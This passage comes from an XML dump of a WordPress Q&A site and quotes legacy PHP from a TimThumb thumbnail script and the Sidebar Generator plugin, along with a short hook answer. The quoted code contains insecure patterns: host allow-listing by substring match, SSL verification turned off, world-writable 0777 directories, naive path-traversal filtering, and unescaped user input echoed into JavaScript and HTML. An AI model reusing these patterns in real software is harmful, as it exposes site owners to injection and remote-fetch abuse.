($mime_type);&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $property&#xA; * @param &amp;lt;type&amp;gt; $default&#xA; * @return &amp;lt;type&amp;gt; &#xA; */&#xA;function get_request ($property, $default = 0) {&#xA;&#xA;    if (isset ($_GET[$property])) {&#xA;        return $_GET[$property];&#xA;    } else {&#xA;        return $default;&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $mime_type&#xA; * @param &amp;lt;type&amp;gt; $src&#xA; * @return &amp;lt;type&amp;gt;&#xA; */&#xA;function open_image ($mime_type, $src) {&#xA;&#xA;    if (strpos ($mime_type, 'jpeg') !== false) {&#xA;        $image = imagecreatefromjpeg ($src);&#xA;    } elseif (strpos ($mime_type, 'png') !== false) {&#xA;        $image = imagecreatefrompng ($src);&#xA;    } elseif (strpos ($mime_type, 'gif') !== false) {&#xA;        $image = imagecreatefromgif ($src);&#xA;    }&#xA;&#xA;    return $image;&#xA;&#xA;}&#xA;&#xA;/**&#xA; * clean out old files from the cache&#xA; * you can change the number of files to store and to delete per loop in the defines at the top of the code&#xA; *&#xA; * @return &amp;lt;type&amp;gt;&#xA; */&#xA;function clean_cache () {&#xA;&#xA;    // add an escape&#xA;    // Reduces the amount of cache clearing to save some processor speed&#xA;    if (rand (1, 50) &amp;gt; 10) {&#xA;        return true;&#xA;    }&#xA;&#xA;    flush ();&#xA;&#xA;    $files = glob (DIRECTORY_CACHE . '/*', GLOB_BRACE);&#xA;&#xA;    if (count ($files) &amp;gt; CACHE_SIZE) {&#xA;&#xA;        $yesterday = time () - (24 * 60 * 60);&#xA;&#xA;        usort ($files, 'filemtime_compare');&#xA;        $i = 0;&#xA;&#xA;        foreach ($files as $file) {&#xA;&#xA;            $i ++;&#xA;&#xA;            if ($i &amp;gt;= CACHE_CLEAR) {&#xA;                return;&#xA;            }&#xA;&#xA;            if (@filemtime ($file) &amp;gt; $yesterday) {&#xA;                return;&#xA;            }&#xA;&#xA;            if (file_exists ($file)) {&#xA;                unlink ($file);&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * compare the file time of two files&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $a&#xA; * @param &amp;lt;type&amp;gt; $b&#xA; * @return &amp;lt;type&amp;gt;&#xA; */&#xA;function filemtime_compare ($a, $b) {&#xA;&#xA;    $break = explode ('/', $_SERVER['SCRIPT_FILENAME']);&#xA;    $filename = $break[count ($break) - 1];&#xA;    $filepath = str_replace ($filename, '', $_SERVER['SCRIPT_FILENAME']);&#xA;&#xA;    $file_a = realpath ($filepath . $a);&#xA;    $file_b = realpath ($filepath . $b);&#xA;&#xA;    return filemtime ($file_a) - filemtime ($file_b);&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * determine the file mime type&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $file&#xA; * @return &amp;lt;type&amp;gt;&#xA; */&#xA;function mime_type ($file) {&#xA;&#xA;    $file_infos = getimagesize ($file);&#xA;    $mime_type = $file_infos['mime'];&#xA;&#xA;    // no mime type&#xA;    if (empty ($mime_type)) {&#xA;        display_error ('no mime type specified');&#xA;    }&#xA;&#xA;    // use mime_type to determine mime type&#xA;    if (!preg_match (&quot;/jpg|jpeg|gif|png/i&quot;, $mime_type)) {&#xA;        display_error ('Invalid src mime type: ' . $mime_type);&#xA;    }&#xA;&#xA;    return strtolower ($mime_type);&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $mime_type&#xA; */&#xA;function check_cache ($mime_type) {&#xA;&#xA;    if (CACHE_USE) {&#xA;&#xA;        if (!show_cache_file ($mime_type)) {&#xA;            // make sure cache dir exists&#xA;            if (!file_exists (DIRECTORY_CACHE)) {&#xA;                // give 777 permissions so that developer can overwrite&#xA;                // files created by web server user&#xA;                mkdir (DIRECTORY_CACHE);&#xA;                chmod (DIRECTORY_CACHE, 0777);&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $mime_type&#xA; * @return &amp;lt;type&amp;gt; &#xA; */&#xA;function show_cache_file ($mime_type) {&#xA;&#xA;    // use browser cache if available to speed up page load&#xA;    if (isset ($_SERVER['HTTP_IF_MODIFIED_SINCE'])) {&#xA;        if (strtotime ($_SERVER['HTTP_IF_MODIFIED_SINCE']) &amp;lt; strtotime('now')) {&#xA;            header ('HTTP/1.1 304 Not Modified');&#xA;            die ();&#xA;        }&#xA;    }&#xA;&#xA;    $cache_file = get_cache_file ($mime_type);&#xA;&#xA;    if (file_exists ($cache_file)) {&#xA;&#xA;        // change the modified headers&#xA;        $gmdate_expires = gmdate ('D, d M Y H:i:s', strtotime ('now +10 days')) . ' GMT';&#xA;        $gmdate_modified = gmdate ('D, d M Y H:i:s') . ' GMT';&#xA;&#xA;        // send content headers then display image&#xA;        header ('Content-Type: ' . $mime_type);&#xA;        header ('Accept-Ranges: bytes');&#xA;        header ('Last-Modified: ' . $gmdate_modified);&#xA;        header ('Content-Length: ' . filesize ($cache_file));&#xA;        header ('Cache-Control: max-age=' . CACHE_MAX_AGE . ', must-revalidate');&#xA;        header ('Expires: ' . $gmdate_expires);&#xA;&#xA;        if (!@readfile ($cache_file)) {&#xA;            $content = file_get_contents ($cache_file);&#xA;            if ($content != FALSE) {&#xA;                echo $content;&#xA;            } else {&#xA;                display_error ('cache file could not be loaded');&#xA;            }&#xA;        }&#xA;&#xA;        die ();&#xA;&#xA;    }&#xA;&#xA;    return FALSE;&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @staticvar string $cache_file&#xA; * @param &amp;lt;type&amp;gt; $mime_type&#xA; * @return string&#xA; */&#xA;function get_cache_file ($mime_type) {&#xA;&#xA;    static $cache_file;&#xA;    global $src;&#xA;&#xA;    $file_type = '.png';&#xA;&#xA;    if (strpos ($mime_type, 'jpeg') &amp;gt; 1) {&#xA;        $file_type = '.jpg';&#xA;    }&#xA;&#xA;    if (!$cache_file) {&#xA;        // filemtime is used to make sure updated files get recached&#xA;        $cache_file = DIRECTORY_CACHE . '/' . md5 ($_SERVER ['QUERY_STRING'] . VERSION . filemtime ($src)) . $file_type;&#xA;    }&#xA;&#xA;    return $cache_file;&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $url&#xA; * @return &amp;lt;type&amp;gt; &#xA; */&#xA;function validate_url ($url) {&#xA;    $pattern = &quot;/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&amp;amp;@#\/%?=~_|!:,.;]*[-a-z0-9+&amp;amp;@#\/%=~_|]/i&quot;;&#xA;    return preg_match ($pattern, $url);&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @global array $allowedSites&#xA; * @param string $src&#xA; * @return string&#xA; */&#xA;function check_external ($src) {&#xA;&#xA;    global $allowedSites;&#xA;&#xA;    // work out file details&#xA;    $fileDetails = pathinfo ($src);&#xA;    $filename = 'external_' . md5 ($src);&#xA;    $local_filepath = DIRECTORY_CACHE . '/' . $filename . '.' . strtolower ($fileDetails['extension']);&#xA;&#xA;    // only do this stuff the file doesn't already exist&#xA;    if (!file_exists ($local_filepath)) {&#xA;&#xA;        if (strpos (strtolower ($src), 'http://') !== false || strpos (strtolower ($src), 'https://') !== false) {&#xA;&#xA;            if (!validate_url ($src)) {&#xA;                display_error ('invalid url');&#xA;            }&#xA;&#xA;            $url_info = parse_url ($src);&#xA;&#xA;            // convert youtube video urls&#xA;            // need to tidy up the code&#xA;&#xA;            if ($url_info['host'] == 'www.youtube.com' || $url_info['host'] == 'youtube.com') {&#xA;                parse_str ($url_info['query']);&#xA;&#xA;                if (isset ($v)) {&#xA;                    $src = 'http://img.youtube.com/vi/' . $v . '/0.jpg';&#xA;                    $url_info['host'] = 'img.youtube.com';&#xA;                }&#xA;            }&#xA;&#xA;            // check allowed sites (if required)&#xA;            if (ALLOW_EXTERNAL) {&#xA;&#xA;                $isAllowedSite = true;&#xA;&#xA;            } else {&#xA;&#xA;                $isAllowedSite = false;&#xA;                foreach ($allowedSites as $site) {&#xA;                    if (strpos (strtolower ($url_info['host']), $site) !== false) {&#xA;                        $isAllowedSite = true;&#xA;                    }&#xA;                }&#xA;&#xA;            }&#xA;&#xA;            // if allowed&#xA;            if ($isAllowedSite) {&#xA;&#xA;                if (function_exists ('curl_init')) {&#xA;&#xA;                    global $fh;&#xA;&#xA;                    $fh = fopen ($local_filepath, 'w');&#xA;                    $ch = curl_init ($src);&#xA;&#xA;                    curl_setopt ($ch, CURLOPT_TIMEOUT, CURL_TIMEOUT);&#xA;                    curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');&#xA;                    curl_setopt ($ch, CURLOPT_URL, $src);&#xA;                    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);&#xA;                    curl_setopt ($ch, CURLOPT_HEADER, 0);&#xA;                    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);&#xA;                    curl_setopt ($ch, CURLOPT_FILE, $fh);&#xA;                    curl_setopt ($ch, CURLOPT_WRITEFUNCTION, 'curl_write');&#xA;&#xA;                    // error so die&#xA;                    if (curl_exec ($ch) === FALSE) {&#xA;                        unlink ($local_filepath);&#xA;                        touch ($local_filepath);&#xA;                        display_error ('error reading file ' . $src . ' from remote host: ' . curl_error ($ch));&#xA;                    }&#xA;&#xA;                    curl_close ($ch);&#xA;                    fclose ($fh);&#xA;&#xA;                } else {&#xA;&#xA;                    if (!$img = file_get_contents ($src)) {&#xA;                        display_error ('remote file for ' . $src . ' can not be accessed. It is likely that the file permissions are restricted');&#xA;                    }&#xA;&#xA;                    if (file_put_contents ($local_filepath, $img) == FALSE) {&#xA;                        display_error ('error writing temporary file');&#xA;                    }&#xA;&#xA;                }&#xA;&#xA;                if (!file_exists ($local_filepath)) {&#xA;                    display_error ('local file for ' . $src . ' can not be created');&#xA;                }&#xA;&#xA;                $src = $local_filepath;&#xA;&#xA;            } else {&#xA;&#xA;                display_error ('remote host &quot;' . $url_info['host'] . '&quot; not allowed');&#xA;&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    } else {&#xA;&#xA;        $src = $local_filepath;&#xA;&#xA;    }&#xA;&#xA;    return $src;&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * callback for curl command to receive external images&#xA; * limit the amount of data downloaded from external servers&#xA; * &#xA; * @global &amp;lt;type&amp;gt; $data_string&#xA; * @param &amp;lt;type&amp;gt; $handle&#xA; * @param &amp;lt;type&amp;gt; $data&#xA; * @return &amp;lt;type&amp;gt;&#xA; */&#xA;function curl_write ($handle, $data) {&#xA;&#xA;    global $external_data_string, $fh;&#xA;&#xA;    fwrite ($fh, $data);&#xA;    $external_data_string .= $data;&#xA;&#xA;    if (strlen ($external_data_string) &amp;gt; MAX_FILE_SIZE) {&#xA;        return 0;&#xA;    } else {&#xA;        return strlen ($data);&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * tidy up the image source url&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $src&#xA; * @return string&#xA; */&#xA;function clean_source ($src) {&#xA;&#xA;    $host = str_replace ('www.', '', $_SERVER['HTTP_HOST']);&#xA;    $regex = &quot;/^(http(s|):\/\/)(www\.|)&quot; . $host . &quot;\//i&quot;;&#xA;&#xA;    $src = preg_replace ($regex, '', $src);&#xA;    $src = strip_tags ($src);&#xA;    $src = check_external ($src);&#xA;&#xA;    // remove slash from start of string&#xA;    if (strpos ($src, '/') === 0) {&#xA;        $src = substr ($src, -(strlen ($src) - 1));&#xA;    }&#xA;&#xA;    // don't allow users the ability to use '../'&#xA;    // in order to gain access to files below document root&#xA;    $src = preg_replace (&quot;/\.\.+\//&quot;, &quot;&quot;, $src);&#xA;&#xA;    // get path to image on file system&#xA;    $src = get_document_root ($src) . '/' . $src;&#xA;&#xA;    if (!is_file ($src)) {&#xA;        display_error ('source is not a valid file');&#xA;    }&#xA;&#xA;    if (filesize ($src) &amp;gt; MAX_FILE_SIZE) {&#xA;        display_error ('source file is too big (filesize &amp;gt; MAX_FILE_SIZE)');&#xA;    }&#xA;&#xA;    if (filesize ($src) &amp;lt;= 0) {&#xA;        display_error ('source file &amp;lt;= 0 bytes. Possible external file download error (file is too large)');&#xA;    }&#xA;&#xA;    return realpath ($src);&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $src&#xA; * @return string&#xA; */&#xA;function get_document_root ($src) {&#xA;&#xA;    // check for unix servers&#xA;    if (file_exists ($_SERVER['DOCUMENT_ROOT'] . '/' . $src)) {&#xA;        return $_SERVER['DOCUMENT_ROOT'];&#xA;    }&#xA;&#xA;    // check from script filename (to get all directories to timthumb location)&#xA;    $parts = array_diff (explode ('/', $_SERVER['SCRIPT_FILENAME']), explode ('/', $_SERVER['DOCUMENT_ROOT']));&#xA;&#xA;    $path = $_SERVER['DOCUMENT_ROOT'];&#xA;&#xA;    foreach ($parts as $part) {&#xA;        $path .= '/' . $part;&#xA;        if (file_exists ($path . '/' . $src)) {&#xA;            return $path;&#xA;        }&#xA;    }&#xA;&#xA;    // special check for microsoft servers&#xA;    if (!isset ($_SERVER['DOCUMENT_ROOT'])) {&#xA;        $path = str_replace (&quot;/&quot;, &quot;\\&quot;, $_SERVER['ORIG_PATH_INFO']);&#xA;        $path = str_replace ($path, '', $_SERVER['SCRIPT_FILENAME']);&#xA;&#xA;        if (file_exists ($path . '/' . $src)) {&#xA;            return $path;&#xA;        }&#xA;    }&#xA;&#xA;    display_error ('file not found');&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * generic error message&#xA; *&#xA; * @param &amp;lt;type&amp;gt; $errorString&#xA; */&#xA;function display_error ($errorString = '') {&#xA;&#xA;    header ('HTTP/1.1 400 Bad Request');&#xA;    echo '&amp;lt;pre&amp;gt;' . htmlentities ($errorString);&#xA;    echo '&amp;lt;br /&amp;gt;Query String : ' . htmlentities ($_SERVER['QUERY_STRING']);&#xA;    echo '&amp;lt;br /&amp;gt;TimThumb version : ' . VERSION . '&amp;lt;/pre&amp;gt;';&#xA;    die ();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4485" LastActivityDate="2011-07-06T08:22:32.930" Title="Why are some of my thumbnails not being generated?" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;themes&gt;&lt;paid-plugins&gt;&lt;timthumb&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14091" PostTypeId="2" ParentId="14065" CreationDate="2011-04-06T15:40:09.283" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JM at Work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or a &lt;code&gt;.php&lt;/code&gt; file of a plugin that you may be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'xxx_init');&#xA;function xxx_init() {&#xA;  add_action('save_post', 'xxx_save_meta_box');&#xA;}&#xA;function xxx_meta_box_callback() {&#xA;  add_meta_box('xxx-meta','xxx Details','xxx_meta_box','xxx-post-type','side','default');&#xA;  error_log('meta box cb');&#xA;}&#xA;function xxx_save_meta_box($post_id, $post) {&#xA;  error_log('running ...');&#xA;  die('OK!!!');&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-06T15:40:09.283" />
  <row Id="14092" PostTypeId="1" CreationDate="2011-04-06T15:46:40.937" Score="0" ViewCount="398" Body="&lt;p&gt;OK, I have an issue with &lt;a href=&quot;http://downloads.wordpress.org/plugin/sidebar-generator.1.1.zip&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin creates subpage called &quot;Sidebars&quot; in WP-Admin. The point is, it is created as a child of &quot;Appearance&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I don't want it here, I want &quot;Sidebars&quot; to be a subpage of my own Page named &quot;my-page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this line in the plugin's code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_menu(){&#xA;    add_submenu_page('themes.php', 'Sidebars', 'Sidebars', 'manage_options', __FILE__, array('sidebar_generator','admin_page'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And changed 'themes.php' to 'my-page'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &quot;Sidebars&quot; is being displayed under My-Page, but when I try to access it it shows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do not have sufficient permissions&#xA;  to access this page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why does it happen and how to fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And additional question - the Sidebars subpage displays always at the top of my list of My-Page subpages, how to change that (in fact I want it to be the last subpage of My-Page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original, full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Sidebar Generator&#xA;Plugin URI: http://www.getson.info&#xA;Description: This plugin generates as many sidebars as you need. Then allows you to place them on any page you wish. Version 1.1 now supports themes with multiple sidebars. &#xA;Version: 1.1.0&#xA;Author: Kyle Getson&#xA;Author URI: http://www.kylegetson.com&#xA;Copyright (C) 2009 Kyle Robert Getson&#xA;*/&#xA;&#xA;/*&#xA;Copyright (C) 2009 Kyle Robert Getson, kylegetson.com and getson.info&#xA;&#xA;This program is free software; you can redistribute it and/or modify&#xA;it under the terms of the GNU General Public License as published by&#xA;the Free Software Foundation; either version 3 of the License, or&#xA;(at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;GNU General Public License for more details.&#xA;&#xA;You should have received a copy of the GNU General Public License&#xA;along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&#xA;*/&#xA;&#xA;class sidebar_generator {&#xA;&#xA;    function sidebar_generator(){&#xA;        add_action('init',array('sidebar_generator','init'));&#xA;        add_action('admin_menu',array('sidebar_generator','admin_menu'));&#xA;        add_action('admin_print_scripts', array('sidebar_generator','admin_print_scripts'));&#xA;        add_action('wp_ajax_add_sidebar', array('sidebar_generator','add_sidebar') );&#xA;        add_action('wp_ajax_remove_sidebar', array('sidebar_generator','remove_sidebar') );&#xA;&#xA;        //edit posts/pages&#xA;        add_action('edit_form_advanced', array('sidebar_generator', 'edit_form'));&#xA;        add_action('edit_page_form', array('sidebar_generator', 'edit_form'));&#xA;&#xA;        //save posts/pages&#xA;        add_action('edit_post', array('sidebar_generator', 'save_form'));&#xA;        add_action('publish_post', array('sidebar_generator', 'save_form'));&#xA;        add_action('save_post', array('sidebar_generator', 'save_form'));&#xA;        add_action('edit_page_form', array('sidebar_generator', 'save_form'));&#xA;&#xA;    }&#xA;&#xA;    function init(){&#xA;        //go through each sidebar and register it&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;&#xA;&#xA;        if(is_array($sidebars)){&#xA;            foreach($sidebars as $sidebar){&#xA;                $sidebar_class = sidebar_generator::name_to_class($sidebar);&#xA;                register_sidebar(array(&#xA;                    'name'=&amp;gt;$sidebar,&#xA;                    'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget sbg_widget '.$sidebar_class.' %2$s&quot;&amp;gt;',&#xA;                    'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;                    'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle sbg_title&quot;&amp;gt;',&#xA;                    'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;                ));&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    function admin_print_scripts(){&#xA;        wp_print_scripts( array( 'sack' ));&#xA;        ?&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;                function add_sidebar( sidebar_name )&#xA;                {&#xA;&#xA;                    var mysack = new sack(&quot;&amp;lt;?php bloginfo( 'wpurl' ); ?&amp;gt;/wp-admin/admin-ajax.php&quot; );    &#xA;&#xA;                    mysack.execute = 1;&#xA;                    mysack.method = 'POST';&#xA;                    mysack.setVar( &quot;action&quot;, &quot;add_sidebar&quot; );&#xA;                    mysack.setVar( &quot;sidebar_name&quot;, sidebar_name );&#xA;                    mysack.encVar( &quot;cookie&quot;, document.cookie, false );&#xA;                    mysack.onError = function() { alert('Ajax error. Cannot add sidebar' )};&#xA;                    mysack.runAJAX();&#xA;                    return true;&#xA;                }&#xA;&#xA;                function remove_sidebar( sidebar_name,num )&#xA;                {&#xA;&#xA;                    var mysack = new sack(&quot;&amp;lt;?php bloginfo( 'wpurl' ); ?&amp;gt;/wp-admin/admin-ajax.php&quot; );    &#xA;&#xA;                    mysack.execute = 1;&#xA;                    mysack.method = 'POST';&#xA;                    mysack.setVar( &quot;action&quot;, &quot;remove_sidebar&quot; );&#xA;                    mysack.setVar( &quot;sidebar_name&quot;, sidebar_name );&#xA;                    mysack.setVar( &quot;row_number&quot;, num );&#xA;                    mysack.encVar( &quot;cookie&quot;, document.cookie, false );&#xA;                    mysack.onError = function() { alert('Ajax error. Cannot add sidebar' )};&#xA;                    mysack.runAJAX();&#xA;                    //alert('hi!:::'+sidebar_name);&#xA;                    return true;&#xA;                }&#xA;            &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    function add_sidebar(){&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;        $name = str_replace(array(&quot;\n&quot;,&quot;\r&quot;,&quot;\t&quot;),'',$_POST['sidebar_name']);&#xA;        $id = sidebar_generator::name_to_class($name);&#xA;        if(isset($sidebars[$id])){&#xA;            die(&quot;alert('Sidebar already exists, please use a different name.')&quot;);&#xA;        }&#xA;&#xA;        $sidebars[$id] = $name;&#xA;        sidebar_generator::update_sidebars($sidebars);&#xA;&#xA;        $js = &quot;&#xA;            var tbl = document.getElementById('sbg_table');&#xA;            var lastRow = tbl.rows.length;&#xA;            // if there's no header row in the table, then iteration = lastRow + 1&#xA;            var iteration = lastRow;&#xA;            var row = tbl.insertRow(lastRow);&#xA;&#xA;            // left cell&#xA;            var cellLeft = row.insertCell(0);&#xA;            var textNode = document.createTextNode('$name');&#xA;            cellLeft.appendChild(textNode);&#xA;&#xA;            //middle cell&#xA;            var cellLeft = row.insertCell(1);&#xA;            var textNode = document.createTextNode('$id');&#xA;            cellLeft.appendChild(textNode);&#xA;&#xA;            //var cellLeft = row.insertCell(2);&#xA;            //var textNode = document.createTextNode('[&amp;lt;a href=\'javascript:void(0);\' onclick=\'return remove_sidebar_link($name);\'&amp;gt;Remove&amp;lt;/a&amp;gt;]');&#xA;            //cellLeft.appendChild(textNode)&#xA;&#xA;            var cellLeft = row.insertCell(2);&#xA;            removeLink = document.createElement('a');&#xA;            linkText = document.createTextNode('remove');&#xA;            removeLink.setAttribute('onclick', 'remove_sidebar_link(\'$name\')');&#xA;            removeLink.setAttribute('href', 'javacript:void(0)');&#xA;&#xA;            removeLink.appendChild(linkText);&#xA;            cellLeft.appendChild(removeLink);&#xA;&#xA;&#xA;        &quot;;&#xA;&#xA;&#xA;        die( &quot;$js&quot;);&#xA;    }&#xA;&#xA;    function remove_sidebar(){&#xA;        $sidebars = sidebar_generator::get_sidebars();&#xA;        $name = str_replace(array(&quot;\n&quot;,&quot;\r&quot;,&quot;\t&quot;),'',$_POST['sidebar_name']);&#xA;        $id = sidebar_generator::name_to_class($name);&#xA;        if(!isset($sidebars[$id])){&#xA;            die(&quot;alert('Sidebar does not exist.')&quot;);&#xA;        }&#xA;        $row_number = $_POST['row_number'];&#xA;        unset($sidebars[$id]);&#xA;        sidebar_generator::update_sidebars($sidebars);&#xA;        $js = &quot;&#xA;            var tbl = document.getElementById('sbg_table');&#xA;            tbl.deleteRow($row_number)&#xA;&#xA;        &quot;;&#xA;        die($js);&#xA;    }&#xA;&#xA;    function admin_menu(){&#xA;        add_submenu_page('themes.php', 'Sidebars', 'Sidebars', 'manage_options', __FILE__, array('sidebar_generator','admin_page'));&#xA;    }&#xA;&#xA;    function admin_page(){&#xA;        ?&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            function remove_sidebar_link(name,num){&#xA;                answer = confirm(&quot;Are you sure you want to remove &quot; + name + &quot;?\nThis will remove any widgets you have assigned to this sidebar.&quot;);&#xA;                if(answer){&#xA;                    //alert('AJAX REMOVE');&#xA;                    remove_sidebar(name,num);&#xA;                }else{&#xA;                    return false;&#xA;                }&#xA;            }&#xA;            function add_sidebar_link(){&#xA;                var sidebar_name = prompt(&quot;Sidebar Name:&quot;,&quot;&quot;);&#xA;                //alert(sidebar_name);&#xA;                add_sidebar(sidebar_name);&#xA;            }&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Sidebar Generator&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                The sidebar name is for your use only. It will not be visible to any of your visitors. &#xA;                A CSS class is assigned to each of your sidebar, use this styling to customize the sidebars.&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;div class=&quot;add_sidebar&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;javascript:void(0);&quot; onclick=&quot;return add_sidebar_link()&quot; title=&quot;Add a sidebar&quot;&amp;gt;+ Add Sidebar&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;table class=&quot;widefat page&quot; id=&quot;sbg_table&quot; style=&quot;width:600px;&quot;&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;CSS class&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Remove&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;?php&#xA;                $sidebars = sidebar_generator::get_sidebars();&#xA;                //$sidebars = array('bob','john','mike','asdf');&#xA;                if(is_array($sidebars) &amp;amp;&amp;amp; !empty($sidebars)){&#xA;                    $cnt=0;&#xA;                    foreach($sidebars as $sidebar){&#xA;                        $alt = ($cnt%2 == 0 ? 'alternate' : '');&#xA;                ?&amp;gt;&#xA;                &amp;lt;tr class=&quot;&amp;lt;?php echo $alt?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;?php echo $sidebar; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;?php echo sidebar_generator::name_to_class($sidebar); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;javascript:void(0);&quot; onclick=&quot;return remove_sidebar_link('&amp;lt;?php echo $sidebar; ?&amp;gt;',&amp;lt;?php echo $cnt+1; ?&amp;gt;);&quot; title=&quot;Remove this sidebar&quot;&amp;gt;remove&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;?php&#xA;                        $cnt++;&#xA;                    }&#xA;                }else{&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td colspan=&quot;3&quot;&amp;gt;No Sidebars defined&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;?php&#xA;                }&#xA;                ?&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;div class=&quot;donate&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;Donate&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;                    Support the further development of this plugin.&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;cmd&quot; value=&quot;_s-xclick&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;hosted_button_id&quot; value=&quot;9271055&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;image&quot; src=&quot;https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif&quot; border=&quot;0&quot; name=&quot;submit&quot; alt=&quot;PayPal - The safer, easier way to pay online!&quot;&amp;gt;&#xA;                &amp;lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;https://www.paypal.com/en_US/i/scr/pixel.gif&quot; width=&quot;1&quot; height=&quot;1&quot;&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;&#xA;   